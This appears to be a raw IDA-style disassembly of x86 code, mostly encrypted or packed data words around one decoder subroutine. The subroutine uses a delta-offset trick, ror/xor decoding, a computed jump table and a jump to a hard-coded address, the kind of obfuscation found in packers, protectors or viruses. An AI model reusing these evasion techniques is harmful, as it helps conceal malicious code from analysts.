		dd 208D8D97h, 0E907AF0Dh, 8, 78BB96ADh,	0F3B81825h, 17318D89h
		dd 858907A8h, 7A833DDh,	0A5985C7h, 6E8407A8h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 226BC1C3h, 9D8679Eh,	0A831F195h, 85C7F807h, 7A80939h
		dd 0
		dd 31E1958Bh, 0B5FF07A8h, 7A805FDh, 0FF6CCA80h,	0A81A9995h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 89603CD1h, 0A80C6D8Dh, 28D0F07h,	57000000h
		dd 6A615Ah, 0D2195FFh, 0C08B07A8h, 552E5BEBh, 3BD21261h
		dd 343B1B7h, 891077BCh,	6D4C84F7h, 59926900h, 0F31C3436h
		dd 0EA7025E0h, 0A539AFA8h, 42E241B1h, 0B9931663h, 0FB8A2E32h
		dd 5895E85h, 0FA68F83h,	2944BB72h, 0A6357056h, 338FB6F5h
		dd 0D5D5233Eh, 689F9BB7h, 0FD108B93h, 881287F4h, 4FF843B8h
		dd 0D47C1A2Ch, 748D8D50h, 8907AF0Eh, 0A832D185h, 318D8907h
		dd 6007A817h, 0CE8h, 381EEB00h,	0DEEB9D7h, 19532515h, 499D093Ch
		dd 5807A817h, 72A40FB8h, 85C76130h, 7A80A59h, 5B6Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 35C35040h, 6C3DC529h
		dd 0C7413308h, 0A8093985h, 7, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0FCD705E5h
		dd 98E20752h, 6830Fh, 85890000h, 7A80609h, 2FC5B5FFh, 0BD8B07A8h
		dd 7A81BE1h, 1A9995FFh,	6A07A8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 3840BEC3h, 0E9805B19h
		dd 7, 0A5918DFBh, 0E9B051D9h, 12h, 24983F4Eh, 0EF1784A0h
		dd 0FC396437h, 0A92AB12Ch, 6A555Dh, 0D2195FFh, 0C08B07A8h
		dd 0A06C4EEBh, 2DABB33Ch, 5626025Ch, 4C13B1E7h,	62B365D2h
		dd 4826CC7Dh, 0CAA12254h, 8BB10F3Bh, 23C1412Eh,	0B23EE046h
		dd 4142C89Bh, 0C2D53E0Dh, 0E991C95Ah, 0DED5A203h, 1F4CAE2Fh
		dd 0BFBDCCC2h, 9804750Fh, 0D07FA7B3h, 0EBBDE01Bh, 0C9FB1E6Ch
		dd 8E8h, 0FBF2E600h, 0B339C56Dh, 9D958BF6h, 5F07A825h
		dd 0E59D8960h, 6607A825h, 0D6A3D781h, 8DC78161h, 66000072h
		dd 68C501BAh, 1C78h, 7D958B56h,	5907A815h, 118D895Eh, 0FF07A815h
		dd 198D8B37h, 5807A817h, 28D0Fh, 0C88B0000h, 411CF081h
		dd 0F5151DAh, 28Bh, 5ACB8B00h, 0E6EBC081h, 850F1EE5h, 6
		dd 0AE18589h, 0F08107A8h, 4406170Dh, 0CFAACA81h, 7890AE0h
		dd 0EE9h, 0E47D0A00h, 0A8B22DB9h, 0F0F4D807h, 818968B5h
		dd 94B7FCEFh, 0A7ABB1Ah, 0C78140D1h, 1A94B7F8h,	0BCAB03BBh
		dd 850F4E0Bh, 0FFFFFF8Fh, 2C4D958Bh, 8D8D07A8h,	7AF1086h
		dd 0D10FBF66h, 17318D89h, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0BB1240C3h, 3D3EA524h
		dd 81667F97h, 0C71181D0h, 0A80A5985h, 5C0807h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 119BE1BAh, 93985C7h,	7A8h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 1A4416C3h
		dd 8B666CE4h, 75B5FFD0h, 6A07A81Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0C2B7C350h
		dd 0C5D1F2F4h, 0EFB46055h, 6830Fh, 0C6810000h, 19807138h
		dd 8E961h, 17670000h, 0B63133F8h, 95FF18E3h, 7A81A99h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 83C35040h
		dd 1E258589h, 9D8907A8h, 7A83485h, 95FF006Ah, 7A80D21h
		dd 0AEBC08Bh, 96609708h, 6BFCDE10h, 8D8D2B1Fh, 7AF1163h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 7FC35141h
		dd 318D8992h, 6A07A817h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 6079C352h, 25DB2D18h
		dd 85C70E19h, 7A80A59h,	6398h, 3545B531h, 85C707A8h, 7A80939h
		dd 0
		dd 6820Fh, 85890000h, 7A8236Dh,	1335BD89h, 0B5FF07A8h
		dd 7A823D1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0E7C35747h, 7B1EEC61h, 0F18BED1Bh, 1A9995FFh, 6A07A8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0B045D5C3h, 0FF006A1Dh, 0A80D2195h, 0EBC08B07h, 0A21FEC38h
		dd 0DB95D0D9h, 7782F18Dh, 48896B86h, 2CB2621h, 0E52C900Bh
		dd 2BC3F21Eh, 13135E8Fh, 0DA30A676h, 8D0C9DCEh,	78CC2F8Ch
		dd 9E4CFF5Ch, 7A6422E9h, 76AD636Fh, 0FE848h, 65030000h
		dd 40884A9Ah, 0E7641522h, 8F4A7B3Fh, 0DFB70F87h, 81DA8B5Fh
		dd 6CB5C7h, 6880F00h, 89000000h, 0A808759Dh, 50A4B807h
		dd 0E88134E6h, 34E6359Eh, 38A0Fh, 0BF0F0000h, 8937FFF7h
		dd 0A810E5B5h, 9D8B5A07h, 7A81361h, 7328C281h, 85890A04h
		dd 7A81529h, 0E859F281h, 816073BEh, 78D2DAC0h, 68C0F2Fh
		dd 0F000000h, 88h, 0F2816100h, 3B75288Ch, 1361B58Bh, 0F85207A8h
		dd 8166078Fh, 831DC6F3h, 850103EFh, 7A8042Dh, 4D9D294Fh
		dd 8107A806h, 1E8h, 9A850F00h, 8DFFFFFFh, 0AF13098Dh, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 3D97BBC3h, 807CB036h, 0DC8AADC3h, 17318D89h,	830F07A8h
		dd 3, 0C7FAB70Fh, 0A80A5985h, 601007h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 6BA6667h, 85C7F888h,	7A80939h, 0
		dd 0E8D8D31h, 800F07A8h, 6, 5118D89h, 0B5FF07A8h, 7A82641h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F4C35242h
		dd 76F426D0h, 1A9995FFh, 8D0F07A8h, 3, 66C18B66h, 6A52E8BBh
		dd 2195FF00h, 8B07A80Dh, 119EBC0h, 6FAF6EC9h, 1C91520Eh
		dd 0E80E25BEh, 0C4977CCBh, 8361F407h, 9CACB84Bh, 61985C6h
		dd 685607A8h, 0A9C530DFh, 0CE1B5FFh, 858D07A8h,	7AB781Ah
		dd 8D8DD0FFh, 7A82C31h,	0FF406A51h, 0A83091B5h,	9DB5FF07h
		dd 0FF07A822h, 91B5FFD0h, 0FF07A830h, 0A8229DB5h, 0EE807h
		dd 0DA190000h, 6D8B6E6Dh, 0C9145695h, 3D104B1Bh, 0EA835A5Ah
		dd 242CC104h, 2424C102h, 24140302h, 0B8241CF7h,	0
		dd 5B1034FFh, 40B5C381h, 0F3811AE8h, 2C865C64h,	6287C381h
		dd 1C890174h, 4E88302h,	0F24043Bh, 0C85h, 1BE900h, 59320000h
		dd 17FA4F96h, 0FFCAE915h, 40DAFFFFh, 1F129C44h,	2C43CC08h
		dd 0A1FC9C2Eh, 5D9D8D5Ch, 8B07A810h, 0FC00B03h,	784h, 8B038B00h
		dd 1889045Bh, 5FE9C98Bh
		db 1, 2	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_5F285B	proc near		; CODE XREF: sub_406850+12Cp
					; sub_409C90+1Cp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7AF13FBh
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5F29B1
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 8AFDED90h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+7A81731h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0F228C01Bh
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+7A80A59h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+7A80939h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5F2975
; ---------------------------------------------------------------------------
		db 0FFh, 0B5h, 75h
		dd 0E907A81Ah, 0B9h, 2641B5FFh,	0AEE907A8h, 0FF000000h
		dd 0A80BBDB5h, 0A3E907h, 0B5FF0000h, 7A83099h, 98E9h, 0D1B5FF00h
		dd 0E907A823h, 8Dh, 2FC5B5FFh, 82E907A8h, 0FF000000h, 0A80055B5h
		dd 77E907h, 0B5FF0000h,	7A81479h, 6CE9h, 0A9B5FF00h, 0E907A810h
		dd 61h,	14BDB5FFh, 56E907A8h, 0FF000000h, 0A808B1B5h, 4BE907h
		dd 0B5FF0000h, 7A81961h, 40E9h,	0FDB5FF00h, 0E907A805h
		dd 35h,	5DDB5FFh, 2AE907A8h, 0FF000000h, 0A80AFDB5h, 1FE907h
		dd 0B5FF0000h, 7A81559h, 14E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F2975:				; CODE XREF: sub_5F285B+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+7AF145Ch]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------
		db 0FFh, 95h, 99h
		dd 5B07A81Ah, 1731858Bh, 583907A8h, 0F850F04h, 53000000h
		dd 95FF016Ah, 7A80D21h,	0FFE2E95Bh, 5A61FFFFh
		db 0C3h
; ---------------------------------------------------------------------------


loc_5F29B1:				; CODE XREF: sub_5F285B+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5F285B	endp

; ---------------------------------------------------------------------------
		dw 858Bh
		dd 7A82F41h, 154A8D8Dh,	418907AFh, 0E9C38B01h, 0BEh, 47692F03h
		dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h
		dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
		dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh,	9CB2E9B5h
		dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
		dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
		dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh,	93BCF996h
		dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h,	899BE0CEh
		dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h
		dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h
		dd 0
		dd 0D4E90000h, 68000015h, 7AF1815h, 0F9697EE9h,	196768FFh
		dd 74E907AFh, 68FFF969h, 7AF1A38h, 0F9696AE9h, 1B5868FFh
		dd 60E907AFh, 68FFF969h, 7AF1BC5h, 0F96956E9h, 1C7068FFh
		dd 4CE907AFh, 68FFF969h, 7AF1D42h, 0F96942E9h, 1DE868FFh
		dd 38E907AFh, 68FFF969h, 7AF1EB2h, 0F9692EE9h, 206A68FFh
		dd 24E907AFh, 68FFF969h, 7AF2167h, 0F9691AE9h, 22E368FFh
		dd 10E907AFh, 68FFF969h, 7AF23E3h, 0F96906E9h, 252468FFh
		dd 0FCE907AFh, 68FFF968h, 7AF2653h, 0F968F2E9h,	283268FFh
		dd 0E8E907AFh, 68FFF968h, 7AF2912h, 0F968DEE9h,	3522F3FFh
		dd 72653720h, 0B3A4745Dh, 0F6E1B59Eh, 3225F8E1h, 0EBBA0F1Dh
		dd 311A2F28h, 735C7166h, 0B39CB1A6h, 0FFDFF4E3h, 5AE41A60h
		dd 50EACBAAh, 5017C7A2h, 1B3CD98Eh, 41622FFAh, 3E59F976h
		dd 2FEB2429h, 0BFF53B28h, 0C5D35970h, 1502A6BEh, 4D8ED4C1h
		dd 53DB0198h, 0BDF7814Ch, 0D8DB0198h, 0E2A854BFh, 37E3F025h
		dd 52h,	4B81C71Ch, 51DB0190h, 64C324Ah,	83D8C511h, 70B2E82Eh
		dd 63ACD359h, 0C772B26h, 11572AD8h, 0D3589BDBh,	0A1B9DAE1h
		dd 0A17CB1h, 4E0A43DBh,	0C4B17E49h, 0A1487Eh, 2F474EDBh
		dd 139D686Fh, 0DB00A1D9h, 0C470DBF4h, 0E3F0CE8Eh, 0E453h
		dd 17C75100h, 0E5B83500h, 0E8AA27F2h, 2F28EA23h, 59701B51h
		dd 0F91A21D3h, 0F6E1B12Eh, 0F0A3DCE1h, 8FDFCFE7h, 72D35975h
		dd 0B9A2B7A0h, 0F533FE19h, 8EC7B460h, 597E19CEh, 0D5A0C18Eh
		dd 0ABF1F008h, 0DB019AF6h, 0EC2268BDh, 0F2DB019Ah, 587F1AEBh
		dd 0E8A8C08Dh, 3522CCE1h, 1DBBF4E1h, 0BE898E4Ah, 0B9B8D0F1h
		dd 0AC4B5C73h, 6E5B62E2h, 5C716635h, 0AB1EA073h, 1BF973D4h
		dd 8C41395Ah, 59FC64C0h, 1327ECC4h, 0E1B20000h,	24F8E1F6h
		dd 63351E33h, 0A0765F74h, 1AB9A2B7h, 0EFDAE8FDh, 0DBF0E7B6h
		dd 1B3027F2h, 5D726532h, 0A0B5A274h, 0A5DB21C0h, 0ABCBAA58h
		dd 14C76311h, 3BDD1603h, 0F4DD041Ch, 6D306922h,	0F4D29F6Ah
		dd 0D35970BEh, 4D4A0DC4h, 0F1F60B2Ch, 0FD847CFh, 135945C4h
		dd 0D358D4DDh, 0A3BBDCE3h, 0C51106BDh, 0E82E83D8h, 0D35970B2h
		dd 0A999B1B8h, 0DB017674h, 3186737Ah, 176B5EBh,	0D4C398DBh
		dd 878E3C09h, 0CE08926Fh, 0B1DB0176h, 819646E1h, 46189560h
		dd 2C3D8651h, 3049E2C1h, 0FB5119C5h, 0FCA8E3FFh, 8D000000h
		dd 43257B6Bh, 647CC81Bh, 6717C77Eh, 1B9DC9D5h, 346AB087h
		dd 3AD35916h, 0DF251233h, 0D35916A9h, 0BC87A8AFh, 0DCB9C3Fh
		dd 7D9A390Ah, 0B707915Ch, 7ED3591Bh, 0D0E8085Ch, 88C1EDF9h
		dd 4CE05002h, 25082041h, 3C756275h, 0F2A8799Eh,	0BDA6CDE5h
		dd 0A54F611Dh, 31BDD017h, 76012310h, 9D633E7Dh,	31524514h
		dd 19FE3C19h, 0D58AD0BDh, 0DBDB0151h, 0EAAEE7D4h, 3D5522EDh
		dd 2BEB6C16h, 0FED0F83Eh, 0CFD6E2ABh, 0F2388DE2h, 0E2ABFEBCh
		dd 0C0A3BBC2h, 7806611Dh, 3AF4E3B7h, 8EAFBB4Eh,	0CACD9079h
		dd 642037D2h, 431BB0FCh, 11D5h,	8398BF60h, 0C8DDFA9Ah
		dd 91E39DFh, 485D7A20h,	869BBC5Fh, 81545178h, 0C1988196h
		dd 3D8C1D6h, 4416FF14h,	0BF5E3E53h, 0AA574379h,	1AF49CBh
		dd 1EF89ABh, 90083E84h,	70ED358h, 1168B04Dh, 504716F9h
		dd 0E780523Bh, 88552037h, 0C7665267h, 0B8350017h, 0F3DCF1E6h
		dd 0EA206625h, 0F0D3596Fh, 64FDC8E9h, 7093C90Fh, 9299D359h
		dd 0D0C7977Ah, 0EA9DCEBBh, 67BCA96Dh, 44577C45h, 7F97A736h
		dd 13C6E8Fh, 446D74DBh,	8B6D3D76h, 69AF04D2h, 0D28B6D33h
		dd 761A3239h, 0F34835E1h, 8B6D77ADh, 0A5767DD2h, 4A17E2F5h
		dd 18ED3332h, 1EDA3375h, 90E4C17h, 7A9AE0CDh, 80E1DEEDh
		dd 83538C79h, 0C4967F94h, 851EDBD3h, 16ABFDB3h,	11043Eh
		dd 0C9CE8F00h, 0E09CBB4h, 4F4810F9h, 9285513Ah,	0D6C1947Dh
		dd 8F16B3C1h, 0CDB6CBCCh, 0FF80D0Ah, 4F384D4Ah,	9373888Fh
		dd 5678AEF4h, 0E47ECBAAh, 17C736h, 0B61EF735h, 9C3B74C9h
		dd 0CBE3B07Bh, 1A30EDBh, 15B3D5DBh, 413C6CDh, 0EF3E8E4Ah
		dd 0FB1017D7h, 2310C451h, 0A9EF34DDh, 68333AE2h, 0A9EFA4DEh
		dd 3BA6BFE2h, 92855790h, 80307A7Ah, 4509EB07h, 7000000h
		dd 0D8C51106h, 12DDFA9Fh, 0E82E2D45h, 0DB01BEFBh, 0B80DFA01h
		dd 68FCA096h, 233B3DDAh, 55E39B40h, 0DC1A1DCAh,	0EAEDAA7Bh
		dd 86BEB4C9h, 69DB026Bh, 0B099AEA9h, 4921ECEBh,	1051h
		dd 799E3972h, 0E3C9E1AEh, 0B3F91106h, 0D359707Dh, 0D49FB860h
		dd 31525907h, 0E1B6EF44h, 0CAEEDEF6h, 0D0DB0886h, 0F3A3DCC9h
		dd 34E6CFE4h, 3D1A5823h, 5E97ECD9h, 918199BEh, 0E2B79BC2h
		dd 9BD4C1C8h, 420FDAFDh, 9DB5A271h, 0A2B5659Eh,	0E5F2A48Dh
		dd 9B7BDC1Ah, 7E2059AEh, 0D0514159h, 0D6EA5FCBh, 0A308D7CFh
		dd 0EC81E430h, 0FE414h,	0A9AE6F00h, 0EEE9AB94h,	2F28F0D9h
		dd 7265311Ah, 0B6A1745Dh, 6F3693A1h, 0AD96ABACh, 0EFD8EDEAh
		dd 2F182D2Ah, 7353686Fh, 55588ED4h, 0C45ECBAAh,	7080BA16h
		dd 0B5A2D359h, 672E7461h, 6DDB0885h, 9E407966h,	0DB7B6479h
		dd 0A2B3F1BCh, 0F7308572h, 1F553324h, 25DB0885h, 0C107061Eh
		dd 0E2B0B7F4h, 0E2FBF3FAh, 1FFC61BEh, 0F77B28Ah, 51020000h
		dd 94483146h, 0D3856E83h, 10C6AFC4h, 4A09F207h,	9F2A384Dh
		dd 2B405706h, 6B809742h, 0ADC2D582h, 0F00512C4h, 0F52B7110h
		dd 0FBCBAA54h, 17C7B361h, 0E6B83500h, 9A026F1h,	0FDB8F29Eh
		dd 0B5811BA7h, 7F000009h, 0B4A372ABh, 0EB1FF89Ch, 59706FA5h
		dd 918652D3h, 444BF9C6h, 0B253EA8Ah, 0DCFDCA9Ch, 0F5E2B6EFh
		dd 46455D2Ah, 86F4600h,	58454CDBh, 468C7F1Fh, 0DB086F10h
		dd 0D9EE0F16h, 5E292EF0h, 86F9AD4h, 7B5BBCDBh, 9186558Eh
		dd 0EC257A79h, 0BADD7D2Ah, 0C4918199h, 0CAE2B0A1h, 0C968CBC3h
		dd 499FC61h, 0ECC2Ch, 91865700h, 0D6C1937Ch, 1700D8C1h
		dd 5A7D1902h, 9EB95C45h, 574E7B89h, 957E9384h, 0D7C0D5C2h
		dd 17001502h, 5B3B5047h, 544076BCh, 0AC46CBAAh,	17C7FEh
		dd 25E6B835h, 5970A9DFh, 0EEA8AFD3h, 0D45C1294h, 27143502h
		dd 132B2CEEh, 0FA1DB936h, 0F2E5B22Fh, 98637421h, 2605701Dh
		dd 0C298D14Ch, 253D0AD5h, 0BFF39F0Ah, 821BA722h, 8E0h
		dd 7080BA80h, 0B5A2D359h, 0D91F7461h, 0D35970A3h, 8B8AA2A9h
		dd 885CB45h, 0D77092DBh, 0E10B9FFBh, 0DF2F17D3h, 8CAD004Ch
		dd 0C0ADB474h, 0ABC0D787h, 3C0710C2h, 0D0BD19FEh, 8295427Bh
		dd 0D60CEAB7h, 0DCDB088Fh, 78BEBDD5h, 0E2B0C1ABh, 3A815072h
		dd 68280749h, 91899050h, 0FC61BC20h, 0FA30089Dh, 8500000Dh
		dd 0C5AEC3D4h, 2EB0017h, 432C4156h, 826B8097h, 0A1AFC4D3h
		dd 0B9DE7D28h, 0FB1CBBA4h, 3F58FDE6h, 8691412Ah, 0ACF29171h
		dd 0CBAA5376h, 0AB34E27Ch, 0E9B4A372h, 7121041Ch, 7C1E9B66h
		dd 8F0A905Bh, 70BEF43Ah, 0BDC4D359h, 731F8AA5h,	1BA7FD3Fh
		dd 82702h, 11060000h, 2D92D8C5h, 0F4DB0886h, 8570BDD2h
		dd 7F979736h, 92CBB8BFh, 8103EC0h, 7A81C9D8h, 23F0BBDCh
		dd 0E3CCE102h, 0C0592433h, 0AFC7D087h, 91085BFh, 66AEA7DBh
		dd 29EB2479h, 5926162Eh, 5FE2B142h, 28E96058h, 4DE2FC61h
		dd 0D5475h, 193EDF00h, 5E791B04h, 9FB86049h, 0E2F5A18Ah
		dd 2631E4CDh, 0DFC60311h, 1D061B3Ch, 5F485D7Ah,	9F889DBAh
		dd 0E3C3D8FFh, 53C8FE44h, 34CECBAAh, 17C786h, 0F1E6B835h
		dd 0B0CCB04h
		dd 0FC9916F3h, 0FAAA10DBh, 741FC2F3h, 0EBECAF80h, 8DF8A520h
		dd 8F50C715h, 1E3F39DEh, 9642AD44h, 1BA755DCh, 77325h
		dd 85BA2300h, 4CD35970h, 0D13452Ah, 4214FE63h, 9CBD8A55h
		dd 9F77E084h, 0A2E46CB2h, 0E3EADB07h, 0FA1DBDF6h, 6099EB0Dh
		dd 0EFB2E82Eh, 0B1B8DB07h, 681507F7h, 9E402950h, 0E770AE79h
		dd 0F3BED97Fh, 0C3180526h, 5880C3A1h, 80FDC12h,	21DBE2DBh
		dd 425A48F9h, 0B000B552h, 0BCB4BBE2h, 0FC60767Bh, 8A1BF388h
		dd 1500000Ch, 553E5344h, 927B9087h, 0D3BCD1C6h,	12FB1007h
		dd 313F5443h, 494E0D98h, 8B8C4B34h, 0CFC88D76h,	1601D1BAh
		dd 3C822101h, 0CBAA5206h, 0C7C4720Ch, 9C350017h, 70CB0147h
		dd 1AD1D359h, 0C5925D7Ah, 0B99CEAA4h, 0BBD25A64h, 0F91EC0A3h
		dd 0E550692Eh, 7E938456h, 7C9B4079h, 766134B1h,	3BDDEABh
		dd 0CA7D8DFh, 55556D14h, 1BA8CF1Dh, 1AFE4h, 17C7E200h
		dd 0E6B83500h, 69AF04F1h, 0D3597033h, 0EA206639h, 0F0D3596Fh
		dd 89B0C8E9h, 80576DFh,	0F81FB973h, 11A6602Dh, 6451721Ah
		dd 1502D60Fh, 0D0CC0DFDh, 0CBD2DB00h, 0A9456700h, 9ABD5AF0h
		dd 474802CFh, 3720F852h, 667E9F6Ch, 0E13C76h, 0D33E57DBh
		dd 0FF726327h, 61B6E3h,	0ABB40000h, 9E4CD689h, 0F1A4EDF3h
		dd 9ADC5E6h, 95DBC80Ch,	0DB008260h, 0E8EFAF66h,	422F501Dh
		dd 0EFE92720h, 480E205Dh, 39162E4Fh, 0AF75AFh, 0FB8358DBh
		dd 0B8CAFC4h, 804B6C4Dh, 75405703h, 3E24DFAh, 3BE6516Ah
		dd 2B435402h, 0F094672Bh, 0EBBAE3h, 669F0000h, 3CECA6B1h
		dd 2B560493h, 0C7B99FB7h, 0B8350017h, 0B005F2E5h, 0DB75138Eh
		dd 0FCDA9779h, 0D35926C6h, 0D0ADC5CCh, 0C9948353h, 5F95DB30h
		dd 65D35926h, 5F09A45Eh, 0F93D98D1h, 3B5CFEE1h,	0F7F03026h
		dd 3D3D358h, 0A5FAFF14h, 58F8295Fh, 74AAF0D3h, 7AD358F8h
		dd 4B0EC573h, 93B4814Ch, 0ED0512C2h, 1B08CC49h,	5A2532E2h
		dd 3076758Dh, 0DB03A586h, 5F98858Ch, 602BEBBCh,	3A5E41Ah
		dd 0C2E3EADBh, 0F4092AF7h, 574F480Bh, 0F49CCDCCh, 0D25830C5h
		dd 5D00000Ah, 9D869BBCh, 0DAC3D8FFh, 1B04193Eh,	5A43587Fh
		dd 79879CBBh, 91865550h, 0D3C4937Ch, 1700D5BEh,	5E791902h
		dd 84CA6949h, 0CBAA504Eh, 0C70CBA54h, 0DD160314h, 824F1A3Dh
		dd 0E93E436Ah, 0E0F518C7h, 0CFADD64Ch, 0D3596599h, 14C7989Fh
		dd 536B3803h, 94A9AE70h, 17C7A8h, 0B0639C35h, 0EAAC8FA7h
		dd 0ED94D8EDh, 0D6000004h, 0D8C51106h, 70073D83h, 60DD359h
		dd 4CA9EFEEh, 52DB017Bh, 0BCF6804Bh, 0D7DB017Bh, 0E3A753BEh
		dd 53E3FFF4h, 0A133D931h, 5D4A39E9h, 0C8E117h, 0C8E0E7DBh
		dd 234ACh, 56ABAA00h, 5970DA10h, 0A616D4D3h, 55AFF4DEh
		dd 9888A0A7h, 0D3593E65h, 3225F32Ch, 0DBA6B161h, 0C552F60Eh
		dd 96CF2411h, 0C9B9D1C6h, 0DB085447h, 2059464Dh, 0E8EFA97Eh
		dd 9C9B2C7h, 34E8210Eh,	738B5823h, 17FF5896h, 7E47E42Ah
		dd 464DE2B0h, 61F4DD4Eh, 5D35CAFCh, 9D5h, 8398BF60h, 0C8DDFA9Ah
		dd 91E39DFh, 485D7A20h,	869BBC5Fh, 81545178h, 0C1988196h
		dd 3D8C1D6h, 4416FF14h,	0BF5E3E53h, 0AA4F4379h,	1AF49CBh
		dd 350017C7h, 26F1E6B8h, 1DE8EFA9h, 0ED9FEA0h, 9C7BE693h
		dd 54FF6A83h, 475F781Bh, 90A5B264h, 0A801C08Ah,	5BFD361Bh
		dd 7A08243Ch, 6000001h,	350017C7h, 0F4B3639Ch, 9F6C3720h
		dd 0CEE6B37Eh, 172C2BEBh, 3F2CE86Dh, 198B8F9h, 0CAB7BEDBh
		dd 0B9D1C691h, 4A0A43DCh, 0B45354Dh, 26DB0198h,	0A2F7A20Dh
		dd 198265Ch, 0D252CDBh,	0F025450Dh, 5A9CE3h, 5F810000h
		dd 0D6659E9Dh, 391F37DAh, 0D8C51106h, 70073D83h, 60DD359h
		dd 619AEFEEh, 3027F3B4h, 0AC779865h, 0A2D7C7DFh, 0A8DB0176h
		dd 124CD6A1h, 2DDB0176h, 3225F730h, 67AD9A67h, 0DB017631h
		dd 0FD183037h, 0FBACE692h, 0C275E3FFh, 5A000000h, 9122E038h
		dd 2E16D0C7h, 91778FA5h, 0DA1056ABh, 0E0D35970h, 7091C70Dh
		dd 9097D359h, 0A274576Fh, 0AE6DEAB5h, 706197DDh, 0B067D359h
		dd 5421ECEBh, 0CA471233h, 0AB440F08h, 6B19A572h, 1394336Eh
		dd 3C09D4F5h, 86914124h, 0F54B7B71h, 6C2ED358h,	0ABAC566Bh
		dd 0E3297E6Bh, 0D358F5ADh, 649AE0B3h, 6AD358F5h, 2B2A4263h
		dd 0DEF99DD6h, 0A32CD6C6h, 2B32DB03h, 4156053Eh, 8790432Ch
		dd 9CCB108Fh, 0AC8419F4h, 859h,	0F2433E4h, 4C617626h, 8DA2B563h
		dd 0CCE1F6A4h, 122730E3h, 3DE0C504h, 7D1C051Ah,	0BF5C455Ah
		dd 0F89A8398h, 4BEACADFh, 0AA4ECF05h, 8D3BD5CBh, 0EE0314C7h
		dd 2D425505h, 17C741h, 1C3BDA13h, 8F6C8451h, 0F5A74012h
		dd 4F706732h, 0B21F412Eh, 78D77ABFh, 0B5F92038h, 280h
		dd 0C51106F7h, 0BC1AB6D8h, 46B3E5E2h, 0C1E92F2Eh, 88DB0858h
		dd 0BF8A8D4Fh, 131ADAF2h, 145AAF48h, 0DB0858DEh, 0D5C5DDE4h
		dd 0DB08589Bh, 0D797B9B6h, 9F779F5Bh, 3AA5C0D8h, 0F943C48Eh
		dd 51013AE3h, 10122E46h, 10000002h, 597087BAh, 68ACA9D3h
		dd 8605357Bh, 40BDB08h,	1B3CDE17h, 95330C2Eh, 0E12380FBh
		dd 19B9A2C9h, 789A33FEh, 7EA556DDh, 23C7DF39h, 0A0F5E232h
		dd 0C2A0B767h, 0DB08C88Ch, 1F38DB92h, 79668754h, 8C7FD33h
		dd 0E4FC03DBh, 0F2029FE5h, 108E2B0h, 61785C09h,	2C0499FCh
		dd 759h, 0F2433E4h, 4C617626h, 8DA2B563h, 0CCE1F6A4h, 122730E3h
		dd 3DE0C504h, 7D1C051Ah, 0BF5C455Ah, 0F89A8398h, 4BEACADFh
		dd 0AA4DCF05h, 8D3BD5CBh, 5B7D89ABh, 1C8A6B45h,	253D5E79h
		dd 0BC879042h, 0AD789F3Fh, 0B964CFE8h, 686F2B64h, 0BCF2D09Dh
		dd 9FD35919h, 262DDBFCh, 6C6B2B0Eh, 0B7FD5257h,	0D3591981h
		dd 0EAAF8087h, 9DD5D5EDh, 641BA856h, 13Fh, 17C762h, 0F1E6B835h
		dd 0F12532DCh, 987DBE04h, 7C83DB01h, 9186568Fh,	0D8129C79h
		dd 0F3DB0198h, 4F18BDF6h, 51698A8Dh, 6B1FCB36h,	0AEE3F025h
		dd 43h,	1056ABACh, 0D35970DAh, 696E29E0h, 8B8C3048h, 0E7095E4Bh
